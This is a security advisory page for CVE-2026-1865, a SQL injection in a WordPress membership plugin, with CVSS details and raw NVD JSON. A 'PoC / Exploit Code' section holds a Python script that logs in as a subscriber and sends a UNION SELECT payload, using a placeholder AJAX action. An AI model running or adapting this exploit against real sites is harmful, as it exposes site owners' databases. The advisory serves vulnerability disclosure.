Security Vulnerability Report
中文
CVE-2026-1865 CVSS 6.5 MEDIUM

CVE-2026-1865

Published: 2026-04-08 12:16:20
Last Modified: 2026-04-24 18:05:09

Description

The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to SQL Injection via the ‘membership_ids[]’ parameter in all versions up to, and including, 5.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

User Registration & Membership <= 5.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" # 1. Login to get session cookie session = requests.Session() login_data = { "log": username, "pwd": password, "redirect_to": "", "wp-submit": "Log In" } login_resp = session.post("http://example.com/wp-login.php", data=login_data) if login_resp.status_code == 200: print("[+] Login successful") # 2. Exploit SQL Injection via 'membership_ids[]' # Payload to extract database user (Example) payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" exploit_data = { "action": "some_vulnerable_action", # Action needs to be specific to the plugin functionality "membership_ids[]": payload } response = session.post(target_url, data=exploit_data) # 3. Analyze response if response.status_code == 200: print("[+] Payload sent") print("[+] Response:") print(response.text) else: print("[-] Exploit request failed") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1865", "sourceIdentifier": "[email protected]", "published": "2026-04-08T12:16:20.440", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to SQL Injection via the ‘membership_ids[]’ parameter in all versions up to, and including, 5.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3469042/user-registration", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/07c79459-66b8-4c93-a1cd-6e3ede95643f?source=cve", "source": "[email protected]"}]}}